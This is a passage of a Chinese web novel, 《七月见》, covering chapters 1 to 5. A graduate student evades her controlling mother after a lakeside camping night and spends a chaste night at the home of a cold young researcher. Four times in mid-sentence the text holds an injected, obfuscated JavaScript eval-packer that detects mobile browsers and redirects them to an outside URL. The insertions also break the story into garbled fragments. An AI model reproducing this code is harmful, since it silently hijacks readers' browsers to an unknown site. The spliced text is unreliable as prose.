《七月见》 1. 野餐 李十安推开了玻璃门。 风铃摇晃。 七月,夏夜蝉鸣。 她踏下两级木质台阶,来到草地上。 一片宽阔的湖边草地,布满柠檬黄色小灯串,以及零星分布的天幕帐篷。些许行人来往,从身旁经过,谈笑声四起。 李十安站在原地,按照讯息里描述的位置,四处张望,找到了预订的木桌。 位于丛林前的一张长方形露营木桌,左右两列,摆放了八只野餐椅。 大部分位置是空着的,只有左上角坐了一个有着少年感的男生。微分碎盖,米色短T,黑色长裤,都是宽松的工装式样。懒散地靠着椅背,手肘搭上座椅扶手,微微低头玩游戏。 李十安犹豫片刻,不大好意思走过去。她给许书妍发消息:[我到了,你那边还没弄完?] 许书妍回复:[估计还有一会儿,我都无语。] 这原本是一场公司朋友间组织的露营。许书妍和一些同事是同一批进入公司的,觉得有缘分,就有人私下提议,来月影湖边露营。 天气好,心情愉悦。 只是不知道哪个缺心眼的,说漏了嘴,把领导招来了。领导也有心,想要和新人打成一片。一来二去,朋友聚会变成了工作应酬。十几个人,重点在于应酬领导。 许书妍想走,走不掉。她给李十安发消息埋怨。 [讨厌这种没有眼力见的领导。] [但我的讨厌也没用TT] [暂时没有结束的迹象。你先坐,先吃点烧烤。] 李十安看着消息,后悔来早了些,碰上这么个尴尬的时间点。她不是公司的人,她是个还没毕业的研究生。只是听许书妍说起今晚有露营,她心血来潮地想要跟来玩一玩。单纯是来蹭烧烤的。 环视四周,一个人也不认识。可就这么傻站在原地,更加局促不自在。想了想,要不还是先去坐一坐吧。 李十安走去了餐桌旁,挑选右下角的位置坐下。和那个男生保持着最遥远的距离。 听见有响动,那男生抬起头来,看向李十安。 李十安礼貌地对他笑了一下,当作打招呼。 他随即重新低下头,继续玩手机。似乎眉宇微蹙。 连声招呼都不回么?这个人真高冷。 李十安闷闷地也拿出手机,准备消磨等待的无聊时光。 刚解锁屏幕,一群人从木屋另一边,风风火火地走来了。听见他们的攀谈。 “可算送走了。” “那通电话早该来的。” “抓内鬼呐,是谁缺心眼?” 看样子,应该是领导走了。这夜晚回归到属于友人们的派对。 他们坐上桌。吵闹还在继续。有人从吵闹的间隙里发现了李十安,略显疑惑,“这位是?” 许书妍坐在身边,正准备拉开一听可乐,“下午说过的,我朋友。”她介绍她的名字,“李十安。” 李十安打算礼貌地冲桌上的人微笑示意。因为想要完成社交礼仪,让这代表礼貌的微笑照顾到大部分人,于是下意识地从一开始,李十安就把视线抛向了最远处——餐桌左上角。 那男生同一时间抬头,看向了她。 随即面无表情地挪开视线。 散漫地拿起身前的易拉罐。手腕上戴着黑武士手表。他仰头喝一口可乐。侧脸,轮廓流畅,喉结很突出。 李十安没有多看,收回了目光。感觉他对人不是很友好。幸亏坐得远。 许书妍把拉开的可乐递给李十安。 人生地不熟,面对一大群陌生人,李十安不大放得开。她的坐姿规矩,背稍直,双肘撑在腿上,双手抱着可乐罐,安静地听他们讲话。 柔和的霓虹映在她的脸上。 稍微蜷曲的长发披撒在肩上。皮肤白皙,脸颊饱满,一双杏眼清透水灵,看着有些稚气未脱。鼻梁左侧有一颗小巧的痣。 坐姿与长相同样乖巧。 有人评价了一句,“乖乖女。” 许书妍开玩笑,“那是,清纯小白花。” “是比你白。” “滚。” “乖得很。什么时候到的?” “怎么坐那么远。” “那我走开让座?” 一人一句,声音从四面八方传来,叫李十安应接不暇。“不用不用,我坐这里就好,挨着书妍。”李十安说话仍旧礼貌客气,“谢谢。” 她没挪位置,他们便把烧烤分出一些,装上鸡翅、鸡腿、羊肉、牛肉、五花肉,把餐盘摆放到李十安面前。 “吃得辣吗?” “自己人烤的,味道特好。” “随便吃,不够再来。” 李十安有些受宠若惊。他们的热情实在过于丰盛了。心里有些小窃喜。 今晚好像变得有趣起来了。 *** 露营的愉悦并没有持续太久。 手机铃声响起,程菀发来了信息:[聚餐结束没?] 心情一下跌落谷底。 李十安回复:[没呢,导师刚到,刚开始。] 参加的是友人露营,可李十安告诉程菀的却是参加小组聚餐,这样才能最大限度地避免程菀的一顿说教。 程菀问:[吃的鲜菌汤?] 李十安答:[嗯。] 不敢说吃的是烧烤,会被程菀指责很脏、不健康、会致癌。 程菀:[拍张照我看看。] 不是第一次提出这种要求了,外出吃饭要汇报,吃什么也得汇报,还必须图文并茂,真叫人无语。 幸好李十安早有准备。上个星期五,许书妍的同学过生日,他们外出吃的就是鲜菌汤。李十安当然没在现场,但拜托了在现场的许书妍在菜品上齐的时候,拍了一张照片给她,备用。 别人都是拍照片发朋友圈,李十安是拍照片发给程菀。 别人都是开开心心分享生活,李十安是心惊胆战面对程菀的考核。 真难。 李十安往那张照片上,添加了今日拍摄的日期水印,发给了程菀。怕程菀提出更进一步的要求,李十安提前解释:[不方便拍脸,侵犯隐私,会被导师责怪的。] 同学哥哥的手长得像导师,甚至有同款金色对戒,还正好露出了一截。程菀看见了,也没有对此提出异议,应该是没有怀疑。 不安地等待了一些时候,程菀发来了那张照片,上面被圈出好几个红色圆形,像作业的批注。跟随着的是一连串的叮嘱。 [刺身不能吃,细菌太多,还有寄生虫。沾过刺身的筷子也不能用。] [吊龙多吃,看着新鲜。] [虾滑的添加剂太多了,最好别碰。] [油麦菜是不是没洗干净?怎么叶片上有黑点?给服务员说一下。] [不要想着是鲜菌汤锅就去喝汤,烫过菜的汤有杂质。回来我煮给你喝,家里的才最纯粹。] 吃什么菜要管,吃多少也要管,烦不烦。 李十安有气无力地回复:[好的。] 还以为对话就这样结束。 过了三分钟,程菀的消息再一次传来,连续不断。 [别光顾着吃饭,这种饭局,重点不在吃饭。] [多关注导师,茶杯空了给添茶。] [看他喜欢吃什么,你让服务员多上几份。] [师兄师姐那边看着照顾照顾。] [你那个张师兄,说实话我不大喜欢,能力一般。] [叶师姐可以,多跟她交流。] 李十安光看文字都觉得累了。吃饭就好好吃饭,为什么要长这么多心眼。 不同意程菀的观点。但是李十安的不同意根本不起作用。所以只能回复:[好的。] 这下总该消停了吧。 放下手机。星光点点,友人谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446108|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,美食堆砌。本来是一个应该沉浸享受的夏夜。可李十安似乎被抽走了一半力气,没了什么兴致。 啃一口烤鸡爪,电话铃声又一次响起来。李十安放下烤串,手上的动作已经带一点怒气了。她接通电话,捂着手机底部,“喂,妈。” 程菀问,“什么时候吃完饭?” “不知道呢。” “那快吃完的时候给我打电话,我来接你。” 李十安愣了,“啊?” 程菀催促,“把地址发给我。” “不行。”发了不就暴露了来郊区露营的事情。程菀不可能允许李十安大晚上出市区的。李十安脱口而出,“临时有事,今晚可能不回家了。” 程菀警觉,“什么事?” 李十安心慌,悄声道,“现在不方便,等我一下,马上给你打回来。” 快速挂断电话。快速在脑海里编纂不回家的理由。李十安起身,顺便扯了扯许书妍的袖子。 “救我!” 许书妍不明所以,但还是跟着李十安走去湖边黑色玻璃屋的另一侧,停留在自动贩卖机旁。 深呼吸,闭眼睛,酝酿情绪,李十安最终拨通程菀的电话,开始胡诌。 撒的谎是许书妍发高烧,在家里忽然晕倒,被紧急送往医院。身体实在虚弱,医生要求必须要有家属陪同。 “书妍一个外地人,在青山孤苦伶仃,找不到人陪同。”李十安声音焦急,略带哭腔,“我现在刚到医院。” 程菀问,“家属陪同,你又不是家属,去能干什么?她家属呢?” 李十安气喘呼呼,“正在赶来青山的路上。泊舟岛那么远,他们赶来需要花点时间。我先在医院陪着书妍,等她家人到了再回家。”她甚至满含关切、提高音量,唤了一声,“书妍!” 许书妍紧抿双唇,仰头,憋着气,怕笑场。 程菀问,“她现在醒着?” “啊?……啊。”李十安支支吾吾,“终于醒了。” 程菀吩咐,“叫她接电话。” “啊?不太好吧……她现在很虚弱。” 许书妍向李十安使眼色,比划OK手势,示意她准备好了,可以接电话。 “喔,那稍等。”李十安捧着手机,递给许书妍。 许书妍往无人的角落里走了几步,以便更好发挥。用的是虚弱的半死不活的语气。 “喂?阿姨……啊对,洗澡的时候晕倒的,泡沫都没冲……喔,还好中途醒了一次,打了120,捡了一条命……咳咳咳……发高烧,又查出阑尾炎,得切阑尾……家人明天到。实在不好意思,要麻烦十安一晚上,主要我喝水上厕所都是问题……呕……呃……咳咳……喔不用不用,这边远,不用麻烦过来……主要这边有政策,只允许一个家属陪同,其他人都进不来,而且已经登记了十安的信息了,改不了……十安没什么事的,就是帮我按按铃什么的……好的好的,我会照顾好她的。” 李十安听得不好意思了。明明许书妍才是生病晕倒的那个人,程菀却偏要人家病人来照顾李十安。在她眼里,她就这么没能力吗?无论什么场合,都需要人家照顾? 许书妍表演完,挂断电话,把手机还给李十安。她开玩笑,“乖乖女,就是这么骗妈妈的?” 李十安食指举到唇边,“嘘——”嘴角上扬,止不住的开心。 程菀又接续发来了几条消息。 [医院人多,谁知道有什么病毒,你一定戴好口罩。] [明天她家里人来了,你就赶快离开。] [陪护床有的吧?床单叫护士给换成新的。] [你别想着她,她没事,你要按时睡觉。] 李十安快速回复:[好的。] 只要能把这关混过去,程菀无论说什么,李十安都会乖巧回答,“好的。” 她呼吸森林外的新鲜空气。 愉快的夏夜回归了。 2. 蝉鸣 结束了这场表演后,许书妍去了趟卫生间,李十安留在原地等待。 闲来无事,李十安走去自动贩卖机处,挑选饮品。过了不久,那男生也来了,站在她左边。 落地窗外,白色自动贩卖机前,并排站立的两个人。清凉的白光模糊他们的轮廓。 夏夜蝉鸣,流萤点点。 李十安从右到左浏览饮品。偶然发现他正站在身旁,一个高个子。想着毕竟有着同一张餐桌吃饭的缘分,李十安于是仰头看向他,主动搭话,“你想喝什么?” 意料之外,他挪开视线,自顾自摁下茉莉花茶的按钮,弯腰取走饮料瓶,转身离开。 没有和她产生任何交流。 她有些懵。看着他的背影,回不过神。 嚯,男人,好拽。 许书妍回来了,拿着两张纸巾擦手。 李十安靠着许书妍,悄声问,“诶,那个男生。” 许书妍顺着李十安示意的方向看去,“啊,怎么了?” “叫什么名字?” “况允驰。” “也是你们公司的吗?” “啊,怎么啦?” “刚才你们都在应酬领导,他怎么没去?” 许书妍把纸扔进垃圾桶,撇嘴,“因为他拽。” 李十安学许书妍撇嘴,“看得出来。” 她们挽着胳膊往回走。 许书妍碎碎念,“他最开始也是跟纪总打了招呼的。后来人多,不知道什么时候撤了。我也想撤,没那个胆,不然也不会让你等那么久。” 一边说着,一边走回了他们的露营地。位置已经坐乱了,一二十个朋友来来回回四处走动,分了好几拨。有的坐条桌打牌,有的坐长桌吃烧烤,有的坐单独躺椅看星星。 况允驰仍坐在原位玩游戏。 李十安特意避开了况允驰的那桌,走去了另一桌,和新认识的朋友们投骰子。 等待骰子准备的间隙,李十安偶然听见身旁两个人谈话。 “喂,允驰不过来?” “叫了,说不过来。今天不知道怎么了,好像兴致不高。” 李十安偷偷向况允驰的方向瞄了一眼。不知是不是心理作用,觉得他侧影看着也挺冷漠。她收回了视线。 游戏开始之前,他们说明规则,投骰子,输家是要喝酒的。有人给李十安递去一瓶啤酒,李十安摆手婉拒,“我想喝酸奶。” 那人心领神会,利落地换了一瓶酸奶,“我懂,乖乖女。” 乖乖女怎么可能喝酒。 李十安想要解释,她单纯是因为中午吃了头孢,不能喝酒。不过看别人没劝酒,她也最终没有开口。 算了,懒得解释了,反正扮演乖乖女也不是一天两天了。 游戏玩得挺开心。一是因为新朋友们对李十安都很友善,相处舒适。二是因为李十安在游戏里,总是赢家,少有输的时候。倒是对面的胖子和寸头,输得挺惨,一直被灌酒。 *** 游戏结束,露营也到了该散场的时候。 有的人开了车,有的人没开车。一群人聚在一起,商量怎么分配坐车才最合适。 许书妍以为李十安是要跟她一起回家的。她小声叮嘱,“待会儿你坐副驾驶。我不喜欢别人坐我的副驾驶。” 李十安支支吾吾,“我……不跟你回家。” 许书妍感觉意料之外,“为什么?” 因为许书妍现在的房子只有一间卧室。而许书妍的异地男朋友今晚凌晨一点的航班到青山。男朋友是出差间隙,好不容易找到机会,才能来青山一趟。只待一个晚上,明天下午就又得离开。两个人三个月没见面了,鹊桥相会,李十安一个外人,怎么好意思去打扰。 她倒不至于这么没眼力见。 许书妍也猜到了其中缘由,“是因为我男朋友?我让他睡沙发就行,多大个事。” 李十安摆手,“不是……我想去叶师姐那儿住一晚,正好要改黄曲霉那份实验报告。” “这样……也行。”许书妍问,“已经跟她说好了?” “嗯,说好了的,她在小区外接我。” 其实根本没说好。李十安跟叶师姐虽然还算熟悉,但大多都是专业上的交流。像是提出去叶师姐家借住一晚这样的事情,从来没有发生过。李十安没有勇气开这个口。 先往那边去了再说吧。去了估计就有勇气了。如果实在没有,到时候再想办法。 许书妍又问,“叶师姐住哪儿?” “南汀那边。” “南汀……”许书妍想到了什么,“我找人送你。” “谁?” 许书妍带着李十安走去人群边缘,对着棕榈树下的身影,喊了一声。 “况允驰!” 况允驰看了过来。 是他。 李十安愣在原地。 选谁不好,偏偏选他。 许书妍拽着李十安的手腕,走上前去攀谈,“送一下我朋友可以吗?她也去南汀那边,正好顺路。” 况允驰低声应道,“嗯。” 李十安有些惊讶。 这一晚,他看她的眼神,以及他对她的态度,都是那么冷淡,她还以为他不待见她。再说,他看起来,明明是那种即便顺路也不愿意让别人搭顺风车的人。 竟然就答应了她们的请求。 李十安挤出礼貌微笑,“谢谢。” 况允驰的回应仍然冷淡,“嗯。” 不过冷淡也没关系,反正只是搭顺风车而已。李十安心里嘀咕,不讲性格,只讲外貌,他长得那么好看,肩宽腰窄,身影修长,赏心悦目。这样想想,这趟也不亏。 *** 直到出发,李十安才发现,况允驰的车里,只坐了她一个客人。这么些朋友,就没有和他们顺路的么。留他们两个人独处,怪尴尬的。 要不找点话来说吧。 李十安特意用上轻快的语气,“今天的露营还挺好玩的哈?” 况允驰回应,“嗯。” 还是冷淡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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[你能不能有个正经女孩的样子?] 一连串消息砸在身上。 李十安强忍着把手机扔出车窗外的冲动,反手把手机拍在腿上。 “啪嗒——” 咬紧牙关,攥紧拳头,眼眶微红。 服了,爆炸吧。 谁要当正经女孩。 正遇红灯,车停下。前行时带来的唯一一点清凉消散不见,停留在原地,燥热气息蹿上全身。 烦。 烦。 烦。 红灯还剩十秒钟。 李十安索性侧头,看向况允驰,声音有些沙哑。 “喂,开房吗?” 3. 露水 车内很安静。 一队摩托在深夜的大街上奔驰,喧嚣尘上。 况允驰终于开口,“开房不方便,要不跟我回家。” 李十安愣了下。她意气用事说的话,好像被他当真了。她一时没有给出回应。 况允驰问,“怎么,开房都敢,跟我回家就不敢?怕了?” 李十安冷笑,“呵——有什么好怕的。” 其实当然是怕的,但心里的恐惧要隐藏起来。 从来没有做过这种事。跟一个陌生男人回家。 *** 快到家的时候,况允驰取了一个外卖袋子,里面装有牙刷、牙膏、浴巾、一次性睡袍、拖鞋、梳子。酒店有什么,袋子里就有什么。 况允驰把袋子递给李十安,“喏。” 李十安看了眼袋子里的东西。有种说不出的感觉,和想象中不大一样。电影里的露水情缘是唯美的,朦胧光晕、柔和乐曲、炽热拥吻,叫人脸红心跳。怎么到了她这里,一切都变得那么具体,过于细节了。 况允驰带李十安去了主卧,“你用这个浴室洗澡。” “喔……好。”李十安心里疑惑。她从没有过这方面的经验,没考虑过洗澡的问题。原来这么讲究的么,做之前还得先洗澡。 不过在露营地待了一晚,身上确实或多或少沾上一点别人的烟味酒味。况且夏天炎热,多少出了些汗。本来也想洗一洗,会舒服许多。 李十安走进浴室,习惯性反锁门。 长条黑色花洒卡在较高的位置,李十安伸手拽下来一些。水温恒定,偏冷。这个人平日里是洗冷水澡么。李十安调了一阵,调到合适的温度。 温热的水汽包裹四周,舒缓。 擦拭沐浴露的间隙,李十安关掉花洒,浴室里变得安静起来。这样倒意外能听见外面的响动了。 不知道是什么声音,只能判断出他在走动,脚步声忽远忽近。还有类似鼓风的声音,摩挲的声音。 李十安的耳朵就要贴到门了。 想偷偷开一道门缝,看看他到底在干什么。但又实在不敢。只能继续忐忑地洗澡。一直心不在焉。 穿好睡袍后,外面的响动好像停止了。打开门后,一时没看见人影。 倒是床单变了样。 李十安记得清楚,之前进门,是深灰色的被子床单。现在再看,变成了浅灰色的四件套。为了那种事,还得换新床单么。是不是讲究过头了,准备工作这么复杂。 这人有洁癖么。 李十安摸不准况允驰的脾性,站在原地出神,没有察觉况允驰的靠近。况允驰靠得未免也太近了,等李十安回过神来,才发现他们之间,近在咫尺。 他弯腰,她贴着衣柜。似乎能感受到温热的呼吸。 空气在凝固。 况允驰开了口,“我拿衣服。” “喔……喔。” 李十安脸红了。庆幸这次脸红具有滞后性,没有在对视的时候发生,况允驰应该没有看见。 况允驰很快拿好了衣服,“我睡隔壁。” “啊?……啊。” 况允驰往门外走,李十安跟在况允驰身后。下意识跟着,也不知道跟去做什么。 到了门边,况允驰转身,李十安险些撞上。 况允驰顿了下,“门可以反锁。” “诶?” 有些反应不过来那是什么意思。李十安还在回神,但况允驰已经出门了,顺带关上了门。 *** 李十安躺在床上,认真思考一个问题。 况允驰到底是什么意思? 按理说,他答应了她的要求,甚至带她回家,那就证明肯定也有那方面的想法。但为什么从回家到现在为止,一点办正事的迹象都没有,还反倒分房睡了? 还是说,到家后他却忽然没了兴趣,又不方便赶她走,所以出于人道主义留她住一晚? 伤脑筋。谁知道男人心里在想什么。 已经是凌晨两点。列表框里有两个人发来消息。一个是程菀。 [乖乖睡了没?] [明天真的不回家吃中午饭吗?] [让许书妍弄点有营养的给你吃。] [把医院地址发给我,我来接你。] [早点回家。] 李十安没有回复。不回复,可以找借口说没看到消息,顶多被说一两句。然而一旦回复,就会暴露她熬夜到凌晨的事实,那样会被说得更惨。 另一个发消息的是许书妍:[到叶师姐家没?] 李十安:[到啦。] 不知道该怎么解释,她到的不是叶师姐,而是况允驰家。毕竟她自己都还没搞清楚状况,完全处于懵懂状态。 怎么也睡不着。 有点口渴。 李十安起先想忍耐一下,熬过去,毕竟在别人家里,不方便到处走动。熬了二十分钟,渴得睡不着。 还是起床吧。 李十安蹑手蹑脚,尽量不发出响声,也不敢开灯,借着倾泻进落地窗的皎洁月光照亮路。凭着进门时观察到餐边柜位置的一小段记忆,摸索着走过去。 餐边柜旁有个人影,正好处在月光的阴影里。若不是李十安保持警惕,差点要被吓到。他偏偏还穿了黑色的宽松短袖短裤,几乎融进黑夜里。 李十安愣在原地,不知该继续前进,还是后撤回卧室。 况允驰打开了灯。 虽然开的是柔和的筒灯,但李十安在黑暗里待久了,四周一下变得明亮,总有些不适应。她眯了下眼睛。 况允驰关了筒灯,打开餐餐边柜的更加柔和的灯带。 看得清彼此的脸。 李十安解释,“我来找杯水喝。” 况允驰手里正巧拿着一杯刚倒的水,他递给李十安。 李十安没接。是因为没反应过来。 况允驰低声,“没毒。” 这下反应过来了,李十安解释,“我不是这个意思。” 她接了水杯。他没有再倒水。 “睡了。”他说完这两个字,从她身边走过,走进黑暗里,直至关上房门。 态度真冷淡。 李十安喝了水。一杯不够,又喝了第二杯。 *** 重新躺回床上,不可避免地又要开始思考刚才的问题。 他到底是什么意思? 应该是有那个意思的,所以才会带她回家,再找个合适的机会办正事。李十安这样想着,不知不觉闭上了眼睛。 又或者,带回家了,却忽然没了兴趣,所以才没有行动。不好意思赶她走,才大发慈悲收留她一晚。李十安想到这种可能,猛然睁开眼睛,瞬间清醒。 她看得上他,他却没看上她。 真伤人。 李十安失落地窝进被子里。 还是往好的方向想吧,他只是在等待时机而已。李十安缓慢闭上眼睛。 不对,他就是单纯对她没有兴趣。李十安猛然睁开眼睛。 等待时机。闭上眼睛。 没有兴趣。睁开眼睛。 …… 循环往复。 至于是什么时候睡着的,李十安完全没了印象。 *** 早上七点,程菀给李十安打电话,“现在回家吗?我来接你。” 如果没记错的话,明明说的是等家属接班后才回家,中午之后。李十安强行提起精神,不让语气露出还没睡醒的样子。 在家里,七点就要被叫起床的。 “书妍还有一些不舒服,我再陪陪她。”李十安搪塞,“我这边忙完就回家,大概中午。” 程菀的念叨还是昨晚那套,“她不舒服,怎么要你来照顾呢?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李十安鼓起勇气,“那个……” 我们什么时候做。 好像没办法把这句话问出口。 况允驰抬头,看向李十安。 本来就给人不容亲近的距离感,他那冷淡的神情搞得李十安有些发怵。关键又长得这么好看,这样盯着李十安,让李十安耳廓逐渐发红。 很不好意思的。 李十安清嗓,“待会儿我洗碗。” 况允驰简短回复,“有洗碗机。” …… 这天是真聊不了一点。 算了,还是专心干饭吧。 李十安没有再说话,况允驰也一如既往没有说话。沉默的场景又一次上演。 直至况允驰放下碗筷,“我出门一趟,晚上才回。” 没有任何感情色彩说出的这句话。是在单方面通知李十安。应该是在赶客吧。哪有主人都走了,客人还赖在家里的道理。 李十安还剩下半碗饭。要不放下碗,跟随况允驰一道出门好了,这样不至于太尴尬。 无奈况允驰的动作实在太快。李十安刚放下碗,况允驰就已经走到了玄关,打开门。临走之前,况允驰说了一句,“门禁密码贴在这里。” 说完就关上了门。 李十安看着禁闭的门扉出神。 心里有一半是高兴。 看来那件“正事”不用办了。说来也是,她一个没谈过恋爱的,甚至连男生手都没有正经摸过的人,一下子跳过约会、牵手、接吻三个步骤,直接上最高难度,那可真是为难人。 幸好。李十安舒一口气。 可心里另一半,却有些失落。这样看来,她的猜想是对的。他没兴趣。 她看得上他,可他是真的没看上她。 *** 况允驰坐在车里,双眼映在后视镜中,冷漠疏离。 其实按理来说,他根本不会答应李十安的要求,从来没有那方面的爱好。 可昨晚不是故意的,但他确实看到了她和她妈妈的对话内容。 所以他知道。 她不是真的想开房,她只是单纯地不想回家。 4. 荞麦 许书妍外出办事,顺便就在外面吃晚餐。地点正好在青大附近,就叫上李十安一起。李十安从实验室出来,去到约定的烙烤店时,他们已经吃上了。 说的他们,指的是许书妍,以及一个胖子。那晚露营时见过的,李十安还记得他的名字,周森。 “这里!”周森很热情,隔老远便唤道,“十安妹妹!” 李十安走过去,坐下来。她的碟里已经被他们夹满了烤好的食物。 “还热着,刚烤好。”许书妍打开一听可乐,插上吸管,递给李十安,“有你最喜欢的鸡翅尖。” 周森拿铲子,把白豆腐挨个翻身。他问李十安,“十安妹妹,毕业了也来我们大厂?” “应该是吧。”李十安回答。 去高校,去医院,或者去公司,李十安其实都无所谓。不过程菀想让她去公司。说是高校压力大,医院整天忙,还不如去公司,起码能赚钱。 她说什么就是什么咯,李十安又不敢有意见。 “明年毕业?”周森嘀咕,“也不知道明年好不好进,毕竟今年进了好几个博士,学历越来越卷。” “还有博士?”李十安回想,今年景和生物进的人,那晚露营应该都是见过面的。她没想到那群人里还有大佬。她问,“哪几个是博士?” 周森描述,“坐你对面那个,高西,记得吧?” 记得,扎着低丸子头,戴着无框眼镜,看起来就很高知。 “她是。”周森继续描述,“坐在高西左手边那个寸头……” “他?”李十安惊讶,“我以为他是混社会的。” 许书妍笑得合不拢嘴,“时星楠给人的刻板印象,跑不掉了。”板寸,左耳戴耳钉,谁看谁迷糊。哪能想到他是个博士。 周森继续说,“还有坐在我们那排最边上那个……” 李十安心惊,“况允驰?” “嗯,”周森解释,“方总亲自去北京带回来的。” 李十安忽然想起来了。怪不得这名字,总感觉在哪里见到过。之前写论文的时候,她好像引用过他的期刊。 周森把烤好的白豆腐放到李十安的碟里,“而且他小,才二十五岁。” 李十安一口白豆腐差点被烫着。他二十五岁,她也二十五岁。 “我二十五……硕士还没毕业。” 许书妍摩挲一下李十安的手臂,“你那是特殊情况。” 其实按照正常流程,李十安应该在今年毕业的。如果那两次机会,她都能够牢牢抓住不放的话。 第一次是保研。学院里拟订的保研名单里,有李十安。那基本上属于既定事实,剩下的程序,一般情况下不会出现什么差错。 可李十安选择了主动放弃。 她是私下里去找的学院领导,清晰地表明了放弃保研的意愿,态度诚恳而坚决。 跟家里解释的理由是,小道消息传出的那份拟定名单是错误的,她根本没有被保研。 于是那一年,李十安没有顺利读研。 第二次,是全国联考的机会。李十安其实复习得很认真,客观上论成绩,考上研究生是完全没问题的。如果一切进展顺利,她完全可以过线。 但她在考场上,故意写漏了一页题。分数被大幅度压低。 跟家里解释的理由是贫血,头忽然昏得厉害,差点晕倒。 两次成功扼杀了机会。 因为要反抗程菀,要让程菀的期待落空,要拒绝走程菀给她设定的路线。 程菀当时听信了李十安的解释,没有怪罪李十安,只怪那年时运不好,做事不顺。她安慰李十安,说李十安年轻,有的是时间,明年再考,不行的话,后年再考。就这么一年年推下去,总有一年能考上。 “慢慢来,不着急,考上为止。” 李十安感觉脑袋里被人敲了一闷棍。考上为止。她相信程菀做得出来,一年一年地熬,熬到李十安考上为止。 那前面两次的努力尝试算什么? 她不能真的这样一年一年慢慢熬吧? 人会疯的。 许书妍那时笑话李十安,“叛逆一年,回到原点。” 李十安心灰意冷,“算了,闯下一关吧,看看到时候有没有机会。” 于是第二年,李十安考上了研究生,随了程菀的心愿。 不过说实在的,抛开程菀的强迫不谈,读研这个事,李十安其实也愿意。毕竟作为中国人,能冲学历的时候,还是得冲。 李十安夹一块五花肉,正面沾满辣椒粉,背面沾满花生碎。 周森喝一口荞麦茶,“说起允驰……嗐。” 李十安心里跳一下。脑海里不由自主浮现出那晚,她在他家的场景。冒失的举动。只能是她和他的秘密。 许书妍催促周森,“嗐什么?说话只说一半。” “嗐。”周森说道,“今天又有人找我要他微信。” 许书妍挑眉,“对他有想法?” 听这两人一来一回,说得李十安心里有些苗头,努力捋顺眼前这两人的对话。她询问,“况允驰……是单身?” “那肯定,直博没那么好毕业,学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446111|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业那么重,哪有时间谈恋爱。”周森一口气吃五块五花肉,“整天不是做实验就是看文献,有空就去打球玩游戏或者研究点好吃的,我看他也没那方面的心思。” 李十安轻声感慨,“喔——” 一句纯粹的感慨,被另外两人听出了些许深意。感觉事情不简单。 许书妍用胳膊肘轻撞李十安,刚才是单边挑眉,现在变成两道眉毛一起挑,上下动得起劲,“怎么,你有想法?” “没……” 许书妍咋舌,“我还在想呢,你未来的男朋友会是什么样子?”她摸下巴,佯装仔细思考,“如果是况允驰的话,那配得上。我的姐妹就得配最顶的。” “不是……” 周森插话,“其他人我可没给微信的。既然十安妹妹想要,那还不得走特殊?” “我……” 许书妍兴奋提议,“我们多去况允驰耳边吹吹风。” 周森附和,“那简单,我多攒几个局,让他们多见几面,挨着坐那种。” 许书妍说,“顺便搭个顺风车什么的。” 周森笑,“一来二去,那还不容易?” “或者她忘了什么东西,又正好被他捡到。” “你电视剧看得真多。” 越说越起劲了,已经聊到具体画面了,他们根本不在乎当事人的想法。逐渐失控。 李十安鼓足一口气,提高音量,“我只是单纯的好奇而已。” 两个人停下话题,转头望向李十安。 李十安郑重声明,“我对他真的没有一点兴趣。” “哈?”周森有些惊讶,“那你眼光还挺高。” 李十安的气势一下减了一半,“还好吧……” 周森继续追问,“你喜欢什么样的?” 李十安解释,“没什么特别要求,主要看感觉。” 周森问,“感觉这种事最说不准了。” 李十安说,“是吗?” “身高一八七?” “都行,没那么具体。” “有腹肌?” “有当然最好。” “博士?” “怎么又绕回来了……” 周森喋喋不休抛出问题,李十安有一句没一句地敷衍着。表面强装镇定,心里其实有些慌乱。 打听况允驰是否单身,不是因为对他有兴趣,而是忽然想起那天,她提出要和他开房的要求。当时正在气头上,完全没有考虑到他是否单身这一点,不然岂不是太道德败坏了。 幸好没有做错事。 5. 牛奶 回家后的日子,李十安又恢复到了以往的模式。 每天早晨七点,定时起床跑步。如果是晴天的话,跑五公里。如果是雨天的话,在跑步机上跑五公里。 按理说,这种日复一日的生活,应该早已养成习惯。偏偏这生物钟似乎心有不甘,怎么也调不好。程菀不来敲门,李十安根本起不了床。呵欠连连。呵欠是要偷偷打的。在程菀能看见的时候,李十安不敢张嘴。呵欠最终被熬成眼泪,从眼角冒出来。 李十安站在镜子前洗漱,程菀透过镜子上下打量李十安,从头发打量到穿着。 “头发长了点,”程菀捏一下李十安的丸子头,“扎起来太累赘。” 李十安含着牙膏,含混回答,“我觉得不累赘,刚好。” “好什么好?光是扎你这个丸子,绕这么几圈,就要浪费两分钟。” 两分钟都不能浪费么,李十安心里嘀咕,她的时间好像也没有这么宝贵吧。 